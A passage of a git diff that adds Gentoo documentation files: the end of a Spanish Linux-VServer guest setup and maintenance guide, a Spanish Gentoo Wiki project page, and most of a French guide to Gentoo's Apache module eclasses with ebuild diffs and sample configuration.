+Por lo tanto, muchos usuarios han pedido reimplementar el estilo de inicio
+de gentoo, que fue abandonado porque suponía una implementación poco
+limpia y más o menos funcionaba por casualidad debido a otras
+modificaciones hechas entonces en el baselayout. Sin embargo, desde
+util-vserver-0.30.21 el estilo de inicio de gentoo ha sido puesto en
+práctica de nuevo de una manera concisa y será el predeterminado en el
+futuro.
+</p>
+
+<note>
+Si no hay una buena razón par usar un proceso de inicio suplementario por
+cada huésped o si no sabe qué hacer aquí, debería utililar el estilo de
+inicio de gentoo.
+</note>
+
+<pre caption="Inicio de la instalación de un stage3" >
+# <i>vserver myguest build \</i>
+  <i>--context 1253 \</i>
+  <i>--hostname gentoo \</i>
+  <i>--interface eth0:192.168.1.253/24 \</i>
+  <i>--initstyle gentoo \</i> <comment>(cambiélo si lo necesita)</comment>
+  <i>-m template -- \</i>
+  <i>  -d gentoo \</i>
+  <i>  -t /path/to/stage4-&lt;arch&gt;-&lt;version&gt;.tar.bz2</i>
+</pre>
+
+<note>
+Para reflejar la configuración de red se deben cambiar dentro del
+huésped <path>/etc/conf.d/hostname</path>,
+<path>/etc/conf.d/domainname</path> y <path>/etc/hosts</path> tal como
+se necesite. Se puede consultar el
+<uri link="/doc/es/handbook/handbook-x86.xml?part=1&amp;chap=8#doc_chap2_sect1" >
+capítulo 8.b.1</uri> y el
+<uri link="/doc/es/handbook/handbook-x86.xml?part=1&amp;chap=8#doc_chap2_sect4" >
+capítulo 8.b.4</uri>. El resto de la configuración de red del servidor
+virtual se hará en el anfitrión.
+</note>
+
+<p>
+Deberíamos poder iniciar y entrar en el servidor virtual usando los
+siguientes comandos.
+</p>
+
+<pre caption="Probar el servidor virtual" >
+# <i>vserver myguest start</i>
+
+   OpenRC 0.4.3 is starting up Gentoo Linux (x86_64) [VSERVER]
+
+Press I to enter interactive boot mode
+
+* /proc is already mounted, skipping
+* Setting hostname to myguest...                     [ ok ]
+* Creating user login records...                     [ ok ]
+* Cleaning /var/run...                               [ ok ]
+* Wiping /tmp directory...                           [ ok ]
+* Updating /etc/mtab...                              [ ok ]
+* Initializing random number generator...            [ ok ]
+* Starting syslog-ng...                              [ ok ]
+* Starting fcron...                                  [ ok ]
+* Starting Name Service Cache Daemon...              [ ok ]
+* Starting local...                                  [ ok ]
+# <i>vserver-stat</i>
+CTX   PROC    VSZ    RSS  userTIME   sysTIME    UPTIME NAME
+0       90   1.4G 153.4K  14m00s11   6m45s17   2h59m59 root server
+1252     2     3M   286    0m00s45   0m00s42   0m02s91 myguest
+# <i>vserver myguest enter</i>
+# <i>ps ax</i>
+  PID TTY      STAT   TIME COMMAND
+    1 ?        Ss     0:04 init [3]
+27637 ?        Ss     0:00 /usr/sbin/syslog-ng
+27656 ?        Ss     0:00 /usr/sbin/fcron -c /etc/fcron/fcron.conf
+27676 ?        Ssl    0:00 /usr/sbin/nscd
+27713 ?        S+     0:00 login
+27737 pts/15   Ss     0:00 /bin/bash
+27832 pts/15   R+     0:00 ps ax
+# <i>logout</i>
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Mantenimiento sencillo</title>
+<section>
+<title>Arrancar huéspedes al inicio</title>
+<body>
+
+<p>
+Podemos arrancar algunos huéspedes durante el inicio. Cada
+<c>guest</c> puede tener asignada una MARCA (MARK). Entonces, todo lo
+que hay que hacer es configurar esas MARCAs en la configuración de los
+huéspedes y añadir los guiones de inicio apropiados al nivel de
+ejecución default.
+</p>
+
+<pre caption="Configurar las MARCAs en cada huésped">
+<comment>(Hay que hacer esto en cada huésped que se quiera
+iniciar)</comment>
+# <i>mkdir -p /etc/vservers/myguest/apps/init</i>
+# <i>echo "default" > /etc/vservers/myguest/apps/init/mark</i>
+</pre>
+
+<pre caption="Añadir el guión de inicio al nivel de ejecución default">
+# <i>rc-update add vservers.default default</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Mantener portage sincronizado</title>
+<body>
+
+<p>
+El guión <c>vesync</c> nos ayudará a mantener la memoria temporal de
+metadatos y recubrimiento sincronizada. <c>vemerge</c> es un simple
+envoltorio para <c>emerge</c> en los huéspedes.
+</p>
+
+<pre caption="Ejemplos">
+<comment>(Sincronizar los metadatos en 'myguest')</comment>
+# <i>vesync myguest</i>
+<comment>(Sincronizar los metadatos en todos los huéspedes)</comment>
+# <i>vesync -all</i>
+<comment>(Sincronizar 'myoverlay' en todos los huéspedes)</comment>
+# <i>vesync -all \</i>
+  <i>--overlay /usr/local/overlays/myoverlay \</i>
+  <i>--overlay-host rsync://rsync.myhost.com/myoverlay \</i>
+  <i>--overlay-only</i>
+<comment>(emerge app-editors/vim en 'myguest')</comment>
+# <i>vemerge myguest -- app-editors/vim -va</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Actualizar huéspedes</title>
+<body>
+
+<p>
+Los huéspedes Gentoo pueden compartir paquetes para ahorrar tiempo de
+compilación. Para usar paquetes compartidos, deberemos crear un
+directorio centralizado para los paquetes en el anfitrión. Usaremos
+<path>/var/cache/vpackages</path> en el anfitrión y lo montaremos en
+cada huésped en <path>/usr/portage/packages</path>.
+</p>
+
+<pre caption="Enlazar la configuración del huésped">
+# <i>mkdir -p /var/cache/vpackages</i>
+# <i>$EDITOR /etc/vservers/myguest/fstab</i>
+<comment>(Añadiremos esta línea al final)</comment>
+/var/cache/vpackages /usr/portage/packages none bind,rw 0 0
+</pre>
+
+<p>
+Ahora utilizaremos <c>vupdateworld</c> para actualizar cada
+huésped. El comando es equivalente a algo como <c>emerge --deep
+--update --newuse world</c>.
+</p>
+
+<pre caption="Ejemplos de vupdateworld">
+<comment>(Prueba de actualización para 'myguest')</comment>
+# <i>vupdateworld myguest -- -vp</i>
+<comment>(Actualización de 'myguest' usando paquetes binarios)</comment>
+# <i>vupdateworld myguest -- -k</i>
+<comment>(Actualización de todos los huéspedes usando paquetes binarios)</comment>
+# <i>vupdateworld --all -- -k</i>
+</pre>
+
+<note>
+Para obtener paquetes binarios podemos usar, tanto PORTAGE_BINHOST
+(ver <c>man make.conf</c>) o establecer FEATURES="buildpkg" en uno o
+más huéspedes.
+</note>
+
+<p>
+Después de haber actualizado con éxito, podemos actualizar fácilmente
+todos los archivos de configuración con <c>vdispatch-conf</c>, que es
+un simple envoltorio para <c>dispatch-conf</c>, comportándose de la
+misma forma.
+</p>
+
+<pre caption="Ejemplos de vdispatch-conf">
+<comment>(Actualizar los ficheros de configuración de 'myguest')</comment>
+# <i>vdispatch-conf myguest</i>
+<comment>(Actualizar los ficheros de configuración de todos los huéspedes)</comment>
+# <i>vdispatch-conf --all</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Contacto</title>
+<body>
+
+<p>
+No dude en contactar con el <mail
+link="hollow@gentoo.org">autor</mail> o crear un bug en <uri
+link="http://bugs.gentoo.org" >Bugzilla</uri> en caso de cualquier
+problema.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/wiki/index.xml b/xml/htdocs/proj/es/wiki/index.xml
new file mode 100644
index 00000000..4e283caf
--- /dev/null
+++ b/xml/htdocs/proj/es/wiki/index.xml
@@ -0,0 +1,103 @@
+<?xml version='1.0' encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl" encoding="utf-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/wiki/index.xml,v 1.3 2010/08/26 15:37:13 nimiux Exp $ -->
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+
+<name>wiki</name>
+<longname>Proyecto Gentoo Wiki</longname>
+
+<date>2010-04-12</date>
+<author title="Autor">
+  <mail link="yngwin" />
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<description>
+El proyecto Gentoo Wiki está orientado a la creación y mantenimiento de
+un sitio wiki para el uso de desarrolladores y usuarios.
+</description>
+
+<longdescription>
+<p>
+El proyecto Gentoo Wiki es responsable de la creación y mantenimiento de un
+wiki para el uso general tando de desarrolladores como de usuarios de
+Gentoo. La meta de Gentoo Wiki es ofrecer un servicio accesible vía web para
+la fácil colaboración en varios documentos relacionados con el desarrollo y
+el uso de la distribución Gentoo y para necesidades de la comunidad
+relacionadas con estos aspectos.
+</p>
+</longdescription>
+
+<dev role="member">a3li</dev>
+<dev role="member">ali_bush</dev>
+<dev role="member">dertobi123</dev>
+<dev role="member">hwoarang</dev>
+<dev role="member">idl0r</dev>
+<dev role="member">keytoaster</dev>
+<dev role="member">nathanzachary</dev>
+<dev role="member">quantumsummers</dev>
+<dev role="member">redhatter</dev>
+<dev role="member">remi</dev>
+<dev role="member">spatz</dev>
+
+<extrachapter>
+<title>Usuarios participantes</title>
+<section>
+<body>
+
+<table>
+  <tr><th>Nombre</th><th>Alias</th></tr>
+  <tr><ti>Richard Hering</ti><ti>misterjack</ti></tr>
+  <tr><ti>Alex Maclean</ti><ti>Monkeh</ti></tr>
+  <tr><ti>Dmitri Orleanski</ti><ti>dmitrio</ti></tr>
+  <tr><ti>George Prowse</ti><ti>cokehabit</ti></tr>
+  <tr><ti>Zeerak Waseem</ti><ti>Zeerak</ti></tr>
+  <tr><ti/><ti>pegjik</ti></tr>
+</table>
+
+<p>
+Ya que una de nuestras metas es ofrecer servicios a los usuarios, animamos a
+los usuarios a que participen en el mantenimiento del wiki y otros
+roles. Trabajamos con el proyecto de Relaciones con el Usuario de Gentoo
+(Gentoo User Relations) por esta razón.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Comunicaciones</title>
+<section>
+<body>
+
+<p>
+Usamos el canal #gentoo-wiki en la red IRC de Freenode.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Registro de encuentros</title>
+<section>
+<body>
+
+<p>
+Encuentro <b>10 de mayo de 2010:</b>
+<uri link="http://dev.gentoo.org/~hwoarang/files/meeting-1-log.txt">
+registro</uri>
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/fr/apache/apache-developer.xml b/xml/htdocs/proj/fr/apache/apache-developer.xml
new file mode 100644
index 00000000..de86f210
--- /dev/null
+++ b/xml/htdocs/proj/fr/apache/apache-developer.xml
@@ -0,0 +1,920 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header $ -->
+
+<guide link="/proj/fr/apache/apache-developer.xml" lang="fr" disclaimer="obsolete" redirect="doc/developer.xml">
+<title>Documentation Apache pour les développeurs</title>
+
+<author title="Auteur">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Traducteur">
+  <mail link="titefleur@gentoo.org">Marion Agé</mail>
+</author>
+
+<abstract>
+Ce document fournit des détails au sujet des nouvelles eclass disponibles pour
+les développeurs des paquets relatifs à Apache.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.4</version>
+<date>2007-07-30</date>
+
+<chapter>
+<title>À propos de ce document</title>
+<section>
+<body>
+
+<p>
+Ce document détaille les <uri link="#apache-module">nouvelles eclass</uri>,
+<uri link="#changes">ce que nous avons changé</uri> depuis le précédent modèle
+d'Apache, et la façon dont les ebuilds ont besoin d'être <uri
+link="#ebuild-update">modifiés</uri> pour tenir compte des avantages de nos
+nouvelles eclass. Si vous êtes un utilisateur à la recherche d'informations
+pour la mise à jour d'Apache, veuillez plutôt consulter le documentation de la
+<uri link="apache-upgrading.xml">mise à jour d'Apache</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="changes">
+<title>Ce qui a changé</title>
+<section>
+<title>Vue d'ensemble</title>
+<body>
+
+<p>
+Nous avons fait beaucoup de changements concernant la procédure d'installation
+et d'utilisation d'Apache et de ses modules sous Gentoo. Cela facilite les
+tâches de maintenance et permet de suivre de près les versions en amont. Voici
+nos changements&nbsp;:
+</p>
+
+<ul>
+  <li>Correction de nombreux <uri link="#buglist">bogues</uri></li>
+  <li>Changement des chemins d'installation et de configuration</li>
+  <li>
+    Création des eclass <uri link="#depend-apache">depend.apache</uri> et <uri
+    link="#apache-module">apache-module</uri>
+  </li>
+  <li>
+    Fusion des fichiers apache.conf et commonapache.conf en un seul fichier
+    très similaire à la version de base
+  </li>
+  <li>
+    Dédoublement de <c>apr</c> et <c>apr-utils</c> en-dehors du paquet
+    principal d'Apache pour ceux qui ne nécessitent plus Apache
+  </li>
+  <li>Mise à jour et estampillage d'une version pour presque chaque module</li>
+  <li>Mise à disposition d'un plus grand nombre de MPM</li>
+  <li>Ajout du support de lingerd</li>
+  <li>Fixation du support des longs fichiers</li>
+  <li><e>Et bien plus encore, je suis sûr que j'en oublie...</e></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Localisation des chemins d'Apache</title>
+<body>
+
+<p>
+Afin de suivre de plus près l'installation d'Apache en amont et celle des
+autres distributions, les chemins suivant ont changé&nbsp;:
+</p>
+
+</body>
+</section>
+<section>
+<title>Apache 2.x</title>
+<body>
+
+<table>
+<tr>
+  <th>Utilisation</th>
+  <th>Ancien chemin</th>
+  <th>Nouveau chemin</th>
+</tr>
+<tr>
+  <ti>Racine du serveur</ti>
+  <ti><path>/etc/apache2/</path></ti>
+  <ti><path>/usr/lib/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Répertoire de configuration</ti>
+  <ti><path>/etc/apache2/conf/</path></ti>
+  <ti><path>/etc/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Configuration</ti>
+  <ti><path>/etc/apache2/conf/apache2.conf</path></ti>
+  <ti><path>/etc/apache2/httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>Configuration</ti>
+  <ti><path>/etc/apache2/conf/commonapache2.conf</path></ti>
+  <ti><path>/etc/apache2/httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>Configuration des hôtes virtuels</ti>
+  <ti><path>/etc/apache2/conf/vhosts/</path></ti>
+  <ti><path>/etc/apache2/vhosts.d/</path></ti>
+</tr>
+<tr>
+  <ti>Configuration des modules</ti>
+  <ti><path>/etc/apache2/conf/modules.d/</path></ti>
+  <ti><path>/etc/apache2/modules.d/</path></ti>
+</tr>
+<tr>
+  <ti>Modules binaires</ti>
+  <ti><path>/usr/lib/apache2-extramodules/</path></ti>
+  <ti><path>/usr/lib/apache2/modules/</path></ti>
+</tr>
+</table>
+
+<note>
+La configuration inclut désormais automatiquement les fichiers
+<path>modules.d/*.conf</path> et <path>vhosts.d/*.conf</path> par défaut.
+Cependant, la directive dans le fichier <path>httpd.conf</path> énumère ce qui
+précède de la même façon que <path>conf/modules.d/*.conf</path> et
+<path>conf/vhosts.d/*.conf</path>. Cela est dû au fait qu'Apache lit la
+configuration en utilisant le répertoire <path>/usr/lib/apache{|2}</path> qui
+contient un lien symbolique <path>conf -&gt; /etc/apache{|2}</path>.
+</note>
+
+<impo>
+Si vous êtes développeur et que vous mettez à jour un ebuild pour utiliser les
+changements que nous avons faits, veuillez ne pas compliquer les chemins cités
+précédemment dans votre ebuild. Regardez plutôt la documentation des eclass
+pour les variables appropriées que vous pouvez utiliser.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="ebuild-update">
+<title>Mise à jour d'un ebuild</title>
+<section>
+<body>
+
+<p>
+Avec nos nouveaux changements, pratiquement chaque ebuild qui dépend d'Apache
+doit être modifié. L'équipe d'Apache a déjà pris compte d'une grande majorité
+de ces paquets, car ils en sont responsables. Mais il en reste plusieurs qui
+appartiennent à d'autres mainteneurs et qui ont besoin d'être mis à jour.
+</p>
+
+<p>
+Ce chapitre a pour but de guider un développeur à travers la mise à jour d'un
+ebuild pour utiliser les nouvelles eclass, en s'appuyant sur un de nos paquets
+les plus complexes, <c>www-apache/mod_ldap_userdir</c> par exemple.
+</p>
+
+<note>
+Si votre paquet actuellement n'est pas un module mais qu'il a juste besoin de
+connaître les chemins qu'utilise Apache, faites simplement un <c>inherit
+depend.apache</c> et utilisez les variables qui sont mises à votre disposition
+dans les eclass. Consultez pour cela la documentation du <uri
+link="#depend-apache">depend.apache</uri> des eclass.
+</note>
+
+</body>
+</section>
+<section>
+<title>Vue d'ensemble des changements nécessaires</title>
+<body>
+
+<ul>
+  <li>
+    Une nouvelle révision sera nécessaire tant que les versions modifiées pour
+    les nouvelles eclass ne sont pas rétro-compatibles avec les anciennes
+    versions d'Apache.
+  </li>
+  <li>
+    Assurez-vous d'avoir mis votre <c>KEYWORDS</c> en instable et (si les
+    paquets d'Apache sont encore masqués) ajoutez-les au fichier
+    <path>package.mask</path>.
+  </li>
+  <li>
+    Remplacez chaque <c>DEPEND</c> d'Apache par <c>need_apache1</c> (pour les
+    modules de Apache-1*), par <c>need_apache2</c> (pour les modules
+    d'Apache-2*), ou par <c>need_apache</c> (pour les modules qui peuvent
+    dépendre d'Apache-1* ou d'Apache-2* &mdash; selon les variables USE
+    indiquées).
+  </li>
+  <li>
+    Retirez n'importe quel code spécifique qui modifie le <c>SLOT</c> ou
+    <c>DEPEND</c> avec des «&nbsp;bidouilles&nbsp;» telles que
+    <c>has_version</c>.
+  </li>
+  <li>
+    Vérifiez que le <c>src_compile</c> par défaut dans l'eclass est
+    fonctionnel.  Si ce n'est pas le cas, réglez <c>APXS1_ARGS</c> et/ou
+    <c>APXS2_ARGS</c> pour compiler les autres fichiers requis.
+  </li>
+  <li>Généralement toutes les fonctions peuvent être retirées de l'ebuild.</li>
+  <li>
+    Modifiez le fichier de configuration des modules afin d'utiliser les
+    directives <c>IfDefine</c> pour charger et configurer le module.
+  </li>
+  <li>Ajoutez les fichiers de documentation dans <c>DOCFILES</c>.</li>
+  <li>
+    Spécifiez les fichiers de configuration que src_install devra
+    installer&nbsp;: <c>APACHE1_MOD_CONF</c>, <c>APACHE2_MOD_CONF</c>.
+  </li>
+  <li>
+    Spécifiez le <c>IfDefine</c> que le module utilise dans son fichier de
+    configuration, pkg_postinst peut vous donner des informations utiles pour
+    activer le module&nbsp;: <c>APACHE1_MOD_DEFINE</c>,
+    <c>APACHE2_MOD_DEFINE</c>.
+  </li>
+  <li>
+    N'oubliez pas de le tester &mdash; suivez les instructions de mise à jour
+    de ce document si vous ne l'avez pas déjà fait.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Ebuilds globaux</title>
+<body>
+
+
+<pre caption="Diff entre mod_ldap_userdir-1.4.1 et mod_ldap_userdir-1.4.1-r1
+(edité)">
++inherit apache-module
++
+-IUSE="apache2 ssl"
++IUSE="ssl"
+
+ DESCRIPTION="Apache module that enables ~/public_html from an LDAP directory."
+ HOMEPAGE="http://horde.net/~jwm/software/mod_ldap_userdir/"
+-KEYWORDS="x86 ppc"
++KEYWORDS="~x86 ~ppc"
+
+ SRC_URI="http://horde.net/~jwm/software/mod_ldap_userdir/${P}.tar.gz"
+
+-DEPEND="=net-www/apache-1*
+-       apache2? ( =net-www/apache-2* )
+-       ssl? ( dev-libs/openssl )
+-       net-nds/openldap"
++DEPEND="ssl? ( dev-libs/openssl )
++       net-nds/openldap"
+
+ LICENSE="GPL-1"
+ SLOT="0"
++
++DOCFILES="DIRECTIVES README user-ldif posixAccount-objectclass"
++APACHE1_MOD_CONF="${PVR}/47_mod_ldap_userdir"
++APACHE2_MOD_CONF="${PVR}/47_mod_ldap_userdir"
++APACHE1_MOD_DEFINE="LDAPuserdir"
++APACHE2_MOD_DEFINE="LDAPuserdir"
++
++need_apache
+</pre>
+
+<p>
+Nous commençons avec <c>inherit apache-module</c> qui hérite également
+<c>depend.apache</c>. <c>depend.apache</c> définit les localisations qu'utilise
+Apache et, plus important, définit trois <c>DEPEND</c>&nbsp;:
+<c>APACHE1_DEPEND</c> pour les paquets qui ont besoin d'Apache-1*,
+<c>APACHE2_DEPEND</c> pour les paquets qui ont besoin d'Apache-2*, et
+<c>APACHE_DEPEND</c> pour les paquets qui peuvent avoir besoin soit d'Apache-1*
+soit d'Apache-2* et qui laissent à la variable USE apache2 le soin de
+déterminer cela.
+</p>
+
+<note>
+Pour le moment, nous ne supportons pas l'installation des deux versions
+d'Apache simultanément (bien que cela soit possible), car il n'est pas possible
+ensuite d'installer une seule version d'un module pour les deux versions
+d'Apache. Les modules devront juste utiliser un <c>SLOT</c> autre que <c>0</c>
+s'ils ont des lignes multiples de version et que chacun supporte une version
+différente d'Apache. (i.e. <path>mod_layout-3.2.1-r1</path> possède un
+<c>SLOT="1"</c> et <path>mod_layout-4.0.1a-r1</path> un <c>SLOT="2"</c>.)
+</note>
+
+<p>
+<c>apache-module</c> s'occupe d'une lourde tâche pour les paquets de module en
+définissant des valeurs convenables par défaut pour <c>pkg_setup</c>,
+<c>src_compile</c>, <c>src_install</c> et <c>pkg_postinst</c>.
+</p>
+
+<p>
+Comme <c>depend.apache</c> ajoute <c>apache2</c> à IUSE si nécessaire, vous ne
+devez plus le définir explicitement dans l'IUSE des ebuilds. Vous devrez
+cependant le laisser défini si vous employez cette variable USE dans votre
+ebuild quelque part.
+</p>
+
+<p>
+<c>depend.apache</c> s'exécute en ajoutant le DEPEND Apache correct à votre
+DEPEND (si vous appelez l'une des fonctions de <c>need_apache{|1|2}</c>), ainsi
+vous pouvez retirer le traitement du DEPEND Apache de votre ebuild.
+</p>
+
+<p>
+<c>DOCFILES</c> est utilisé par <c>src_install</c> dans <c>apache-modules</c>
+pour installer toutes les documentations. <c>src_install</c> détecte
+automatiquement les fichiers html et les autres fichiers, et utilise
+<c>dodoc</c> ou <c>dohtml</c> pour les installer à leur bonne place.
+</p>
+
+<p>
+<c>APACHE1_MOD_CONF</c> et <c>APACHE2_MOD_CONF</c> définissent le fichier de
+configuration à installer pour le module. Ceci est utilisé pendant le
+<c>src_install</c>, ainsi ils peuvent être liés à ce que vous avez défini pour
+<c>APXS1_S</c> ou <c>APXS2_S</c> (par défaut à <c>${S}/src</c> si c'est un
+répertoire, ou juste <c>${S}</c>).
+</p>
+
+<p>
+<c>APACHE1_MOD_DEFINE</c> et <c>APACHE2_MOD_DEFINE</c> indiquent aux eclass de
+quelle directive <c>&lt;IfDefine MODULENAME&gt;</c> le module se sert. Il est
+utilisé pour afficher à l'utilisateur des commandes sur la façon d'activer le
+module.
+</p>
+
+</body>
+</section>
+<section>
+<title>src_compile</title>
+<body>
+
+<p>
+<c>src_compile</c> peut être nécessaire si le module requiert des étapes
+spéciales que l'eclass ne peut traiter. Ce serait un cas assez exceptionnel.
+Dans la plupart des cas, en passant juste en revue le fichier
+<path>Makefile</path> et en ajoutant les éléments à <c>APXS1_ARGS</c> ou
+<c>APXS2_ARGS</c>, cela devrait être suffisant.
+</p>
+
+<pre caption="Diff entre mod_ldap_userdir-1.4.1 et mod_ldap_userdir-1.4.1-r1
+(édité)">
+-src_compile() {
+-   local myconf
+-   if use apache2; then
+-       myconf="${myconf} --with-apxs2=/usr/sbin/apxs2"
+-   else
+-       myconf="${myconf} --with-apxs=/usr/sbin/apxs"
+-   fi
+-
+-   use ssl &amp;&amp; myconf="${myconf} -with-tls"
+-
+-   myconf="${myconf} --with-activate"
+-   ./configure ${myconf} || die "Configure failed"
+-   make clean
+-   make || die "Make failed"
+-}
+
++src_compile() {
++   local myargs="-lldap -llber -c ${PN}.c"
++   use ssl &amp;&amp; myargs="${myargs} -D TLS=1"
++
++   APXS2_ARGS="${myargs}"
++   APXS1_ARGS="${myargs}"
++
++   apache-module_src_compile
++
++}
+</pre>
+
+<note>
+En général, si APXS1_ARGS ou APXS2_ARGS ont besoin d'être distincts, ils sont
+définis dans l'espace global. <path>mod_ldap_userdir</path> est différent à cet
+égard, parce que l'état de la variable USE ssl affecte ces variables et il est
+plus efficace de placer uniquement ces valeurs dans <c>src_compile</c> plutôt
+que de faire une vérification de la USE à chaque fois que vous invoquerez cet
+ebuild.
+</note>
+
+</body>
+</section>
+<section>
+<title>src_install</title>
+<body>
+
+<p>
+Dans la plupart des cas, <c>src_install</c> ne sera pas nécessaire. Il y a des
+exceptions quand d'autres répertoires ont besoin d'être installés ou quand les
+droits de fichiers doivent être changés.
+</p>
+
+<pre caption="Diff entre mod_ldap_userdir-1.4.1 et mod_ldap_userdir-1.4.1-r1
+(édité)">
+-src_install() {
+-   if use apache2; then
+-       exeinto /usr/lib/apache2-extramodules
+-       doexe mod_ldap_userdir.so
+-   else
+-       exeinto /usr/lib/apache-extramodules
+-       doexe mod_ldap_userdir.so
+-   fi
+-   dodoc DIRECTIVES README user-ldif posixAccount-objectclass
+-}
++src_install() {
++   apache-module_src_install
++   if [ "${APACHE_VERSION}" == "2" ]; then
++       fperms 600 ${APACHE2_MODULES_CONFDIR}/$(basename ${APACHE2_MOD_CONF})
++   else
++       fperms 600 ${APACHE1_MODULES_CONFDIR}/$(basename ${APACHE1_MOD_CONF})
++   fi
++}
+</pre>
+
+<p>
+Comme vous pouvez le voir, dans <path>mod_ldap_userdir</path> nous avions en
+fait ajouté quelques corrections qui n'étaient pas présentes dans la révision
+précédente &mdash; l'ajout d'un fichier de configuration et le réglage des
+permissions appropriées dessus. Mais nous permettons encore la présentation de
+<c>apache-module</c> en appelant <c>apache-module_src_install</c> à l'intérieur
+de notre <c>src_install</c>. Dans la plupart des cas, <c>src_install</c> ne
+sera pas nécessaire du tout.
+</p>
+
+<p>
+<c>src_install</c> traite complètement l'installation du module, la
+configuration des fichiers et la documentation aux endroits corrects.
+</p>
+
+</body>
+</section>
+<section>
+<title>Autres fonctions</title>
+<body>
+
+<p>
+Dans la plupart des cas, il ne devrait y avoir ni pkg_postinst ni pkg_config
+pendant que les eclass manipulent des instructions d'affichage à l'utilisateur
+à propos de l'activation d'un module et de l'emplacement du fichier de
+configuration. Si des instructions additionnelles d'installation sont
+nécessaires, alors un <c>pkg_postinst</c> peut être ajouté, mais il devrait
+alors exécuter <c>apache1_pkg_postinst</c> ou <c>apache2_pkg_postinst</c> à
+l'intérieur de lui-même.
+</p>
+
+<pre caption="Diff entre mod_ldap_userdir-1.4.1 et mod_ldap_userdir-1.4.1-r1
+(édité)">
+-pkg_postinst() {
+-   if use apache2; then
+-       elog "Adjust /etc/apache2/conf/modules.d/47_mod_ldap_userdir.conf to match your setup and"
+-       elog "add '-D LDAPuserdir' to your APACHE2_OPTS in /etc/conf.d/apache2"
+-       elog "To configure the package run \"ebuild /var/db/pkg/net-www/${PF}/${PF}.ebuild config\""
+-   fi
+-}
+-
+-pkg_config() {
+-   /usr/sbin/apacheaddmod \
+-       ${ROOT}/etc/apache/conf/apache.conf \
+-       extramodules/mod_ldap_userdir.so mod_ldap_userdir.c ldap_userdir_module \
+-       define=LDAPuserdir addconf=conf/addon-modules/47_mod_ldap_userdir.conf
+-}
+</pre>
+
+<p>
+Avec la nouvelle configration par défaut d'Apache, nous n'avons plus besoin
+d'obliger l'utilisateur à modifier son fichier <path>httpd.conf</path> pour
+activer le module. Tous les fichiers <path>*.conf</path> du répertoire
+<path>modules.d</path> sont inclus automatiquement. Chaque fichier présent
+devra être complètement compris dans un bloc <c>&lt;IfDefine
+MODULENAME&gt;</c>, de telle sorte que les directives dans ce fichier ne soient
+utilisées que si les utilisateurs ajoutent un <c>"-D MODULENAME"</c> à leur
+fichier <path>/etc/conf.d/apache{|2}</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fichier de configuration</title>
+<body>
+
+<p>
+La plupart des fichiers de configuration n'auront besoin que de peu de
+changements. Voici le principal à surveiller pour être sûr qu'il utilise le
+chemin correct au chargement du module&nbsp;:
+</p>
+
+
+<pre caption="Directive LoadModule">
+<comment>(Ancienne directive :)</comment>
+LoadModule ldap_userdir_module extramodules/mod_ldap_userdir.so
+
+<comment>(Nouvelle directive :)</comment>
+LoadModule ldap_userdir_module modules/mod_ldap_userdir.so
+</pre>
+
+<p>
+Ainsi, chaque fichier de configuration de module a besoin d'être compris dans
+un bloc <c>&lt;IfDefine MODULENAME&gt;</c>. Si vous ne faites pas cela, alors
+Apache chargera le module par défaut, ce que nous ne voulons pas &mdash; le
+chargement du module doit être contrôlé par l'utilisateur, en utilisant le
+fichier <path>/etc/conf.d/apache{|2}</path>.
+</p>
+
+<pre caption="Exemple de .conf">
+&lt;IfDefine LDAPuserdir&gt;
+  &lt;IfModule !mod_ldap_userdir.c&gt;
+    <comment># Load the module:</comment>
+    LoadModule ldap_userdir_module modules/mod_ldap_userdir.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+
+&lt;IfModule mod_ldap_userdir.c&gt;
+<comment># Mettez une bonne configuration par défaut ici&nbsp;:</comment>
+
+    LDAPUserDir             public_html
+    LDAPUserDirDNInfo       cn=root,dc=yourcompany,dc=com yourpassword
+    LDAPUserDirBaseDN       ou=People,dc=yourcompany,dc=com
+
+&lt;/IfModule&gt;
+</pre>
+
+<note>
+Certains modules peuvent vouloir ajouter des extensions qui sont vérifiées dans
+le DirectoryIndex. Nous avons modifié Apache afin d'avoir une nouvelle
+directive de configuration, AddDirectoryIndex, qui ne s'occupe que de cela.
+Utilisez-le exactement comme DirectoryIndex - il travaille de la même manière à
+l'exception près qu'il ne remplace pas le DirectoryIndex, il s'ajoute à lui. Il
+y a également un RemoveDirectoryIndex si cela est nécessaire pour une raison
+quelconque.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="apache-module">
+<title>Eclass apache-module</title>
+<section>
+<title>Description</title>
+<body>
+
+<p>
+L'eclass <c>apache-module</c> fournit des fonctions convenables par défaut pour
+la compilation des modules Apache. Puisque la plupart des modules sont compilés
+exactement de la même manière, ceci permet aux ebuilds de modules d'être
+extrêmement simples.
+</p>
+
+</body>
+</section>
+<section>
+<title>Fonctions</title>
